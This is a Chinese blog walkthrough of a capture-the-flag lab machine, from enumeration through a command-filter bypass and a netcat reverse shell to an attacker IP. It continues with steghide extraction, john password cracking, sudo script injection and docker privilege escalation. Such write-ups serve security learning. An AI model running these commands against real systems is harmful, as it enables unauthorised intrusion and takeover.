CTF之一次曲折获取Flag的过程
Hello各位朋友們,我是小杰,今天我們繼續(xù)CTF之旅。
好,直接步入正題,先看看這次的題目描述。
通過(guò)題目描述,是有一個(gè)什么鬼機(jī)器人,能和世界進(jìn)行交流巴拉巴拉......初步確定是需要獲取兩個(gè)Flag,題目的關(guān)鍵字是“枚舉”。
好的,打開(kāi)靶標(biāo)系統(tǒng)~
映入眼簾的就是這個(gè)CHILL HACK的字樣,還有一個(gè)“骷髏頭”。下邊有一處登陸系統(tǒng)的地方。
?
很好,打開(kāi)我們的“hack”機(jī)器——Kali2020。(這里為什么不用忍者系統(tǒng)一會(huì)兒說(shuō)明。)
?
首先確定我們攻擊機(jī)的IP地址:192.168.187.130
?
進(jìn)行網(wǎng)段掃描,確認(rèn)靶機(jī)的IP為192.168.187.137
可以看到靶機(jī)系統(tǒng)開(kāi)放了21、22、80三個(gè)端口。
我們先訪問(wèn)80
瞅瞅~
?
界面花里胡哨的,隨便瀏覽了幾下發(fā)現(xiàn)是一個(gè)純靜態(tài)站點(diǎn),搜索框什么的都是假的,似乎沒(méi)什么好利用的。
?
接下來(lái)去看看21端口。
嗯,有一個(gè)txt文件,打開(kāi)看看
這里有一個(gè)叫“Apaar”的用戶給了這么一句提示,大概意思說(shuō)“Anurodh”用戶說(shuō)命令中會(huì)有一些過(guò)濾,可能和命令執(zhí)行有關(guān),這里先記下來(lái),后面可能會(huì)用到
繼續(xù)瀏覽沒(méi)什么發(fā)現(xiàn)了,掃掃目錄看看。
這里看看有一個(gè)secret文件夾,我們?nèi)g覽器中查看一番。
是一個(gè)執(zhí)行命令的地方。
結(jié)合我們之前得到的信息,命令執(zhí)行會(huì)被過(guò)濾,這里應(yīng)該就是讓我們繞過(guò)攔截了。
先執(zhí)行幾下看看。
執(zhí)行l(wèi)s、cat、less、more等等命令都會(huì)彈出"Are you a hacker?"
經(jīng)過(guò)多次嘗試,我發(fā)現(xiàn)執(zhí)行tac可以繞過(guò)檢測(cè)。
tac index.php查看頁(yè)面源代碼
果然是有過(guò)濾,這里的代碼是把我們輸入的命令按照空格間隔開(kāi),之后進(jìn)行匹配,這里直接命令執(zhí)行繞過(guò)getshell。
我這里使用nc進(jìn)行g(shù)etshell。
Kali進(jìn)行監(jiān)聽(tīng)。
nc -lvp 6666
靶機(jī)執(zhí)行命令,反彈shell,
這里利用Linux下nc命令執(zhí)行反彈shell的方式
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 > /tmp/f
nice,這里我們已經(jīng)getshell,看看權(quán)限。
我們獲取的是用戶www-data的權(quán)限,等級(jí)較低,
考慮到后續(xù)的操作,這里進(jìn)行提權(quán)。
?
剛剛在網(wǎng)頁(yè)中測(cè)試時(shí),我們看到靶機(jī)上是裝有python的,所以這里使用python進(jìn)行提權(quán)。
python3 -c "import pty;pty.spawn('/bin/bash')"
ok,提權(quán)成功,接下來(lái)瀏覽瀏覽目錄。看看能不能直接找到Flag
?
Flag沒(méi)找到,不過(guò)看到一個(gè)hacker.php的文件很可疑
黑客:你竟然已經(jīng)走到這一步了!看著這片黑暗,你將會(huì)找到答案.......(出題的作者中二病犯了,有我當(dāng)年風(fēng)范)啊哈哈哈....
<html> <head> <body> <style> body {background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif'); } h2 {color:red;font-weight: bold; } h1 {color: yellow;font-weight: bold; } </style> <center><img src = "images/hacker-with-laptop_23-2147985341.jpg"><br><h1 style="background-color:red;">You have reached this far. </h2><h1 style="background-color:black;">Look in the dark! You will find your answer</h1> </center> </head> </html>代碼中這個(gè)圖片的名字叫法外加神神叨叨的這段話,估計(jì)是CTF中的隱寫術(shù)了。
我淦!我不會(huì)隱寫術(shù)啊
?
網(wǎng)上查了查資料,貌似有一款隱寫的工具可以破解利用一下。
那就先下載到本地看看吧。
?
在靶機(jī)利用python啟動(dòng)一個(gè)web服務(wù)器(在images目錄下啟動(dòng))
python3 -m http.server 8080
在Kali上進(jìn)行下載
- ?
?
這里用到的隱寫破解工具是steghide
具體使用方法可以在官網(wǎng)查看http://steghide.sourceforge.net/
?
好,拿著工具干它一波
- ?
nice,提取出了圖片中隱藏的壓縮文件backup.zip
?
解壓縮,發(fā)現(xiàn)需要解壓密碼......
彳亍口巴,祭出神器——開(kāi)膛手約翰(john)!
john是Sectools排行榜上前十的密碼破解工具,功能十分強(qiáng)大。
這里我也要順便說(shuō)一下為啥這次不用忍者的原因,忍者上沒(méi)有集成john和steghide,再安裝的話過(guò)于耗費(fèi)時(shí)間,還有就是忍者需要的電腦資源實(shí)在是太大了,16G內(nèi)存的我有點(diǎn)吃不消
?
有的大佬會(huì)說(shuō)hashcat也可以破解,忍者上是有hashcat的,不過(guò)我玩的不熟練,索性就直接kali一步到位了
?
好了,廢話不多說(shuō),繼續(xù)。
先生成hash文件。
zip2john backup.zip > backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash john backup.hash --show使用john加載本地字典進(jìn)行破解,這里破解成功,顯示密碼為pass1word
接下來(lái)進(jìn)行文件解壓,查看解壓的文件內(nèi)容:
<html> <head>Admin Portal </head><title> Site Under Development ... </title><body><form method="POST">Username: <input type="text" name="name" placeholder="username"><br><br>Email: <input type="email" name="email" placeholder="email"><br><br>Password: <input type="password" name="password" placeholder="password"><input type="submit" name="submit" value="Submit"> </form> <?phpif(isset($_POST['submit'])){$email = $_POST["email"];$password = $_POST["password"];if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA=="){ $random = rand(1000,9999);?><br><br><br><form method="POST">Enter the OTP: <input type="number" name="otp"><input type="submit" name="submitOtp" value="Submit"></form><?php mail($email,"OTP for authentication",$random);if(isset($_POST["submitOtp"])){$otp = $_POST["otp"];if($otp == $random){echo "Welcome Anurodh!";header("Location: authenticated.php");}else{echo "Invalid OTP";}}}else{echo "Invalid Username or Password";}} ?> </html>閱讀代碼,看到一處使用base64加密的地方,解密看一下。
解密得到密碼
?
!d0ntKn0wmYp@ssw0rd
登陸密碼拿到手了,開(kāi)始找賬戶進(jìn)行登陸,最終在home目錄下看到三個(gè)用戶
是不是很眼熟,前兩個(gè)用戶就是我們剛開(kāi)始通過(guò)ftp獲得到的那個(gè)文本文件中的兩個(gè)用戶。
?
拿著我們剛剛獲取到的賬號(hào)密碼,嘗試ssh登陸,經(jīng)測(cè)試發(fā)現(xiàn)anurodh是可以登陸的。
?
ssh anurodh@192.168.187.137?
使用sudo -l查看sudo的權(quán)限,發(fā)現(xiàn)可以使用apaar身份執(zhí)行一個(gè)腳本文件
?
sudo -l?
繼續(xù)~
apaar目錄是可以進(jìn)入的,不過(guò)里面的local.txt文件不可以讀取
?
查看執(zhí)行權(quán)限,讀取隱藏文件helpline.sh
觀察發(fā)現(xiàn),msg這個(gè)地方是存在命令執(zhí)行的
我們可以切換到apaar身份去執(zhí)行輸出local.txt的內(nèi)容
果不其然,拿到了第一個(gè)Flag
?
ok,繼續(xù)。
查看anurodh用戶信息
?
發(fā)現(xiàn)有docker組
嘗試列出本地鏡像
?
docker images -a?
既然有本地docker鏡像,那就嘗試docker提權(quán)
?
docker run -v /:/mnt -it alpine?
提權(quán)成功,ok,繼續(xù)搜索關(guān)鍵文件
?
輸出proof.txt
?
Ohhhhh~~~
終于拿到了最終的Flag
?
小節(jié):不容易,搞了近十個(gè)小時(shí),前期由于攻擊平臺(tái)的工具版本問(wèn)題,好幾處破解、提權(quán)的地方都莫名報(bào)錯(cuò),從kali2017逐個(gè)版本硬是換到kali2020才逐步把問(wèn)題解決。看了網(wǎng)上很多師傅的思路,也學(xué)習(xí)到了不少新姿勢(shì)
?
總結(jié)
以上是生活随笔為你收集整理的CTF之一次曲折获取Flag的过程的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 一个“登录框“引发的安全问题
- 下一篇: API数据安全知多少【知识篇】